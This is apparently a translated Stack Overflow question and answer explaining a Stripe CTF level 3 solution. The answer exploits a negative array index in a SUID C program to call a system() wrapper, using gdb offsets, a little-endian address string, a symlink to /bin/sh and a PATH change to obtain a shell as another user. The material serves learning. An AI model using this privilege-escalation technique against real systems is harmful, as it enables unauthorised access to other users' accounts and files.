创建符号链接到内存地址.(SPOILERS:条纹CTF比赛)

Gle*_*shi 3 c memory security stack symlink

所以我试图进行Stripe CTF比赛,但我对安全性一无所知,所以当我遇到问题时,我查了问题3.我仍然不明白它是如何工作的.黑客目标是通过使用具有SUID位集的应用程序来访问不同用户的文件中的密码.这是应用程序的(简化)代码:

#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
int to_lower(const char *str)
int capitalize(const char *str)
int length(const char *str)

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};

  if (argc != 3) {
    exit(-1);
  }

  // Parse supplied index
  index = atoi(argv[1]);

  if (index >= NUM_FNS) {
    exit(-1);
  }

  return truncate_and_call(fns, index, argv[2]);
}
Run Code Online (Sandbox Code Playgroud)

这是我找到的解决方案:http://pastebin.com/VJ4xpawq

我很困惑为什么会这样.如果我运行代码类似./level03 -28" echo foo;" 我得到一个段错误.另外,为什么在printf函数中内存地址被反转?

我迷路了,想学习.先感谢您.:)

ken*_*ytm 11

此代码的目标是执行

system("/bin/sh");
Run Code Online (Sandbox Code Playgroud)

由于可执行文件的UID为'level04',因此它生成的shell也将具有'level04'的UID.

这可以通过运行"deprecated" run函数来完成:

run("/bin/sh");
Run Code Online (Sandbox Code Playgroud)

我们注意到在函数中truncate_and_call,我们将调用一个由用户输入选择的函数:

return fns[index](buf);
Run Code Online (Sandbox Code Playgroud)

因此,我们尝试创建一个内存位置并组成一个index这样的内容fns[index] == &run.

index范围检查通过

  if (index >= NUM_FNS) {
    exit(-1);
  }
Run Code Online (Sandbox Code Playgroud)

这意味着index我们提供的恶意必须小于4 - 但它可能是负面的!因此,我们的目标是:

  1. 查找内存位置之前 fns是可写的
  2. 将内存地址&run写入其中
  3. 分配buf为启动shell的东西.

为了检查地址,我们在里面运行程序gdb并在truncate_and_call以下处打破:

$ gdb --quiet --args a.out 1 something
Reading symbols from ~/a.out...done.
(gdb) b truncate_and_call
Breakpoint 1 at 0x80484c5: file 3.c, line 21.
(gdb) r
Starting program: ~/a.out 1 something

Breakpoint 1, truncate_and_call (fns=0xffbffa6c, index=1, user_string=0xffc019ab "something") at 3.c:21
21    strncpy(buf, user_string, sizeof(buf) - 1);
(gdb) list
16  
17  int truncate_and_call(fn_ptr *fns, int index, char *user_string)
18  {
19    char buf[64];
20    // Truncate supplied string
21    strncpy(buf, user_string, sizeof(buf) - 1);
22    buf[sizeof(buf) - 1] = '\0';
23    return fns[index](buf);
24  }
25  
Run Code Online (Sandbox Code Playgroud)

请注意,此处还有一个局部变量buf,其中:

(gdb) p &buf
$2 = (char (*)[64]) 0xffbffa00

之前有一个地址fns.所以第1步就完成了.我们只需要检查index,这是

(gdb) p (0xffbffa6c - 0xffbffa00) / 4   # 4 == sizeof(*fns)
$4 = 27

因此,接下来的问题是如何写的内存位置&runbuf.这是很容易的,因为buf仅仅是一个strcpyuser_string,函数的第二个参数.检查地址run

(gdb) p &run
$5 = (int (*)(const char *)) 0x80484ac 

little-endian系统中,此地址被编码为字符串"\xAC\x84\x04\x08".可以使用printf命令从shell获取此字符串,或者$'...':

$ echo `printf "\xac\x84\x04\x08"`
??
$ echo $'\xac\x84\x04\x08'
??
Run Code Online (Sandbox Code Playgroud)

所以,最后一步是让它启动shell.因为如果我们分配"\xac\x84\x04\x08"buf,什么是真正称的上是

run("\xac\x84\x04\x08");
Run Code Online (Sandbox Code Playgroud)

但我们想"/bin/sh",不是"\xac\x84\x04\x08"!这可以通过链接/bin/sh到具有名称的文件轻松解决,并将该文件"\xac\x84\x04\x08"的目录添加到$PATH:

$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'\xac\x84\x04\x08'
$ $'\xac\x84\x04\x08'
sh-4.2$ whoami
level03
Run Code Online (Sandbox Code Playgroud)

因此,整个解决方案是:

$ export PATH=`pwd`:$PATH
$ ln -s /bin/sh $'\xac\x84\x04\x08'
$ /levels/level03 -27 $'\xac\x84\x04\x08'
sh-4.2$ whoami
level04
Run Code Online (Sandbox Code Playgroud)

(注意:数字有点不同,因为我在我的机器而不是Stripe上运行它们.)


此外,您将获得段错误,./level03 -28 "echo foo;"因为它将解释要运行的地址0x6f686365(4字节'echo'的ASCII码),这是一个无效的地址.